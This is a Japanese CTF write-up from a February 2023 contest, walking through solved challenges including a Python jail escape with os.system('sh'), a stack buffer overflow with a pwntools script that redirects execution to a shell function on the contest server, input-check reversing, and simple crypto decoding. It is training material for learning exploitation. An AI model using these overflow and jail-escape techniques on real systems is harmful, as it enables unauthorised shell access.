この大会は2023/2/17 21:00(JST)~2023/2/18 21:00(JST)に開催されました。
今回もチームで参戦。結果は2252点で525チーム中123位でした。
自分で解けた問題をWriteupとして書いておきます。
sanity (sanity)
Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。
ictf{heres_s0m3_s4n1ty_91823dd}
TheOnlyJail (pyjail)
$ nc 143.198.219.171 3333 Welcome to the IIITL Jail! Escape if you can jail> import os jail> os.system("sh") ls -l total 64 lrwxrwxrwx 1 root root 7 Jan 26 02:03 bin -> usr/bin drwxr-xr-x 2 root root 4096 Apr 18 2022 boot drwxr-xr-x 5 root root 340 Feb 17 18:12 dev drwxr-xr-x 1 root root 4096 Feb 16 16:55 etc drwxr-xr-x 1 root root 4096 Feb 16 16:03 home lrwxrwxrwx 1 root root 7 Jan 26 02:03 lib -> usr/lib lrwxrwxrwx 1 root root 9 Jan 26 02:03 lib32 -> usr/lib32 lrwxrwxrwx 1 root root 9 Jan 26 02:03 lib64 -> usr/lib64 lrwxrwxrwx 1 root root 10 Jan 26 02:03 libx32 -> usr/libx32 drwxr-xr-x 2 root root 4096 Jan 26 02:03 media drwxr-xr-x 2 root root 4096 Jan 26 02:03 mnt drwxr-xr-x 2 root root 4096 Jan 26 02:03 opt dr-xr-xr-x 353 root root 0 Feb 17 18:12 proc drwx------ 1 root root 4096 Feb 17 12:44 root drwxr-xr-x 1 root root 4096 Feb 17 18:12 run lrwxrwxrwx 1 root root 8 Jan 26 02:03 sbin -> usr/sbin drwxr-xr-x 2 root root 4096 Jan 26 02:03 srv -rwxr-xr-x 1 root root 53 Feb 16 15:07 start.sh dr-xr-xr-x 13 root root 0 Feb 17 18:12 sys drwxrwxrwt 1 root root 4096 Feb 16 15:11 tmp drwxr-xr-x 1 root root 4096 Jan 26 02:03 usr drwxr-xr-x 1 root root 4096 Jan 26 02:06 var ls -l /home total 8 drwxr-x--- 1 root ctf 4096 Feb 16 16:25 ctf ls -la /home/ctf total 36 drwxr-x--- 1 root ctf 4096 Feb 16 16:25 . drwxr-xr-x 1 root root 4096 Feb 16 16:03 .. -rwxr-x--- 1 root ctf 220 Jan 6 2022 .bash_logout -rwxr-x--- 1 root ctf 3771 Jan 6 2022 .bashrc -rwxr-x--- 1 root ctf 807 Jan 6 2022 .profile -rwxr----- 1 root ctf 42 Feb 14 19:35 flag.txt -rwxr-x--- 1 root ctf 747 Feb 14 19:34 jail.py cat /home/ctf/flag.txt ictf{ff8ab219-a90b-44f8-9273-ccc13766f2eb}
ictf{ff8ab219-a90b-44f8-9273-ccc13766f2eb}
babyFlow (pwn)
$ file babyFlow babyFlow: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=e5fdcc6030ccf9d36747c71494f2c13507cf5a5a, for GNU/Linux 4.4.0, not stripped $ checksec.sh --file babyFlow RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH babyFlow
Ghidraでデコンパイルする。
undefined4 main(void) { char local_60 [80]; undefined *local_10; local_10 = &stack0x00000004; puts("can you pass me?"); gets(local_60); vulnerable_function(local_60); return 0; } void vulnerable_function(char *param_1) { char local_18 [16]; strcpy(local_18,param_1); return; } void get_shell(void) { execve("/bin/sh",(char **)0x0,(char **)0x0); return; }
BOFでget_shell関数をコールできればよい。
$ gdb -q ./babyFlow Reading symbols from ./babyFlow... (No debugging symbols found in ./babyFlow) gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /mnt/hgfs/Shared/babyFlow [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". can you pass me? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Program received signal SIGSEGV, Segmentation fault. Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled off'. Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled on'. [----------------------------------registers-----------------------------------] EAX: 0xffffd0f4 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") EBX: 0x41434141 ('AACA') ECX: 0xffffd180 ("6AAL") EDX: 0xffffd154 ("6AAL") ESI: 0xffffd244 --> 0xffffd3eb ("/mnt/hgfs/Shared/babyFlow") EDI: 0xf7ffcb80 --> 0x0 EBP: 0x41412d41 ('A-AA') ESP: 0xffffd110 ("AA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") EIP: 0x44414128 ('(AAD') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x44414128 [------------------------------------stack-------------------------------------] 0000| 0xffffd110 ("AA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0004| 0xffffd114 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0008| 0xffffd118 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0012| 0xffffd11c ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0016| 0xffffd120 ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0020| 0xffffd124 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0024| 0xffffd128 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0028| 0xffffd12c ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x44414128 in ?? () gdb-peda$ patto A-AA A-AA found at offset: 20
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('143.198.219.171', 5000) else: p = process('./babyFlow') elf = ELF('./babyFlow') get_shell_addr = elf.symbols['get_shell'] payload = b'A' * 20 payload += p32(get_shell_addr) data = p.recvline().rstrip() print(data) print(payload) p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to 143.198.219.171 on port 5000: Done [*] '/mnt/hgfs/Shared/babyFlow' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments b'can you pass me?' b'AAAAAAAAAAAAAAAAAAAA\xfc\x91\x04\x08' [*] Switching to interactive mode $ ls bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv start.sh sys tmp usr var $ ls /home ctf $ ls /home/ctf easyExploitation flag $ cat /home/ctf/flag ictf{bf930bcd-6c10-4c05-bdd8-435db4b50cdb}
ictf{bf930bcd-6c10-4c05-bdd8-435db4b50cdb}
Gainme (pwn)
Ghidraでデコンパイルする。
undefined4 main(void) { code *local_68 [4]; undefined local_58 [64]; code *local_18; int local_14; undefined *local_10; local_10 = &stack0x00000004; local_68[0] = lvlone; local_68[1] = lvltwo; local_68[2] = lvlthree; local_68[3] = lvlfour; setvbuf(stdout,(char *)0x0,2,0); puts("Solve the levels to gain access to the flag"); for (local_14 = 0; local_14 < 4; local_14 = local_14 + 1) { printf("Enter input for Level %d: ",local_14); __isoc99_scanf(&DAT_0001207f,local_58); local_18 = local_68[local_14]; (*local_18)(local_58); } print_flag(); return 0; } void lvlone(char *param_1) { int iVar1; iVar1 = strcmp(param_1,"ICTF4"); if (iVar1 != 0) { /* WARNING: Subroutine does not return */ exit(0); } return; } void lvltwo(int param_1) { size_t sVar1; undefined4 local_22; undefined4 uStack_1e; undefined4 uStack_1a; undefined4 uStack_16; undefined2 local_12; uint local_10; local_22 = 0x44736164; uStack_1e = 0x57515341; uStack_1a = 0x72746a67; uStack_16 = 0x73646f6b; local_12 = 99; local_10 = 0; while( true ) { sVar1 = strlen((char *)&local_22); if (sVar1 <= local_10) { return; } if (*(char *)((int)&local_22 + local_10) != *(char *)(param_1 + local_10)) break; local_10 = local_10 + 1; } /* WARNING: Subroutine does not return */ exit(0); } undefined ** lvlthree(int *param_1) { if (*param_1 != -0x21524111) { /* WARNING: Subroutine does not return */ exit(0); } return &_GLOBAL_OFFSET_TABLE_; } void lvlfour(char *param_1) { size_t sVar1; int iVar2; sVar1 = strlen(param_1); if (3 < sVar1) { /* WARNING: Subroutine does not return */ exit(0); } iVar2 = atoi(param_1); if (iVar2 * 3 + iVar2 * iVar2 * -3 + -1 + iVar2 * iVar2 * iVar2 == 0) { puts("Congratulations"); return; } /* WARNING: Subroutine does not return */ exit(0); }
Level 0では、"ICTF4"を指定すればよい。
Level 1では、以下を考える。
>>> (0x44736164).to_bytes(4, "little") b'dasD' >>> (0x57515341).to_bytes(4, "little") b'ASQW' >>> (0x72746a67).to_bytes(4, "little") b'gjtr' >>> (0x73646f6b).to_bytes(4, "little") b'kods' >>> (99).to_bytes(1, "little") b'c'
"dasDASQWgjtrkodsc"を指定すればよい。
Level 2では、0xdeadbeefをリトルエンディアンで指定すればよい。
Level 3では、以下を考える。
x * 3 - 3 * x**2 - 1 + x**3 = 0 ↓ (x - 1)**3 = 0 ↓ x = 1
"1"を指定すればよい。
以上を踏まえて、スクリプトにする。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('143.198.219.171', 5003) else: p = process('./Gainme') data = p.recvline().decode().rstrip() print(data) inp = 'ICTF4' data = p.recvuntil(b': ').decode() print(data + inp) p.sendline(inp.encode()) inp = 'dasDASQWgjtrkodsc' data = p.recvuntil(b': ').decode() print(data + inp) p.sendline(inp.encode()) inp = b'\xef\xbe\xad\xde' data = p.recvuntil(b': ').decode() print(data, end='') print(inp) p.sendline(inp) inp = '1' data = p.recvuntil(b': ').decode() print(data + inp) p.sendline(inp.encode()) data = p.recvline().decode().rstrip() print(data) data = p.recvrepeat(1).decode() print(data)
実行結果は以下の通り。
[+] Opening connection to 143.198.219.171 on port 5003: Done Solve the levels to gain access to the flag Enter input for Level 0: ICTF4 Enter input for Level 1: dasDASQWgjtrkodsc Enter input for Level 2: b'\xef\xbe\xad\xde' Enter input for Level 3: 1 Congratulations ictf{g@inm3-sf23f-4fd2150cd33db} [*] Closed connection to 143.198.219.171 port 5003
ictf{g@inm3-sf23f-4fd2150cd33db}
Meow (Rev)
$ strings --encoding=l meow | grep ictf ictf{easiest_challenge_of_them_all}
ictf{easiest_challenge_of_them_all}
Ancient (crypto)
00 00 00 00 aa -> 89 50 4e 47 0d
Cistercian Monk Numeralsの画像なので、https://en.wikipedia.org/wiki/Cistercian_numeralsを見ながら、数値に変換する。
105 99 116 102 123 48 108 100 95 109 48 110 107 95 49 57 48 100 101 49 99 51 125
これをASCIIコードとしてデコードする。
#!/usr/bin/env python3 codes = [105, 99, 116, 102, 123, 48, 108, 100, 95, 109, 48, 110, 107, 95, 49, 57, 48, 100, 101, 49, 99, 51, 125] flag = '' for code in codes: flag += chr(code) print(flag)
ictf{0ld_m0nk_190de1c3}
Crypto1 (crypto)
各インデックスごとに決まった暗号がされているので、1文字ずつブルートフォースで復号する。
#!/usr/bin/env python3 def func(f, i): if i<5: out = ord(f) ^ 0x76 ^ 0xAD var1 = (out & 0xAA) >> 1 var2 = 2 * out & 0xAA return var1 | var2 elif i>=5 and i<10: out = ord(f) ^ 0x76 ^ 0xBE var1 = (out & 0xCC) >> 2 var2 = 4 * out & 0xCC return var1 | var2 else: out = ord(f) ^ 0x76 ^ 0xEF var1 = (out & 0xF0) >> 4 var2 = 16 * out & 0xF0 return var1 | var2 with open('result', 'r') as f: res = f.read() flag = '' for i in range(15): for code in range(32, 127): r = chr(func(chr(code), i)) if r == res[i]: flag += chr(code) break flag = 'ictf{%s}' % flag print(flag)
ictf{88f30d1cd1ab443}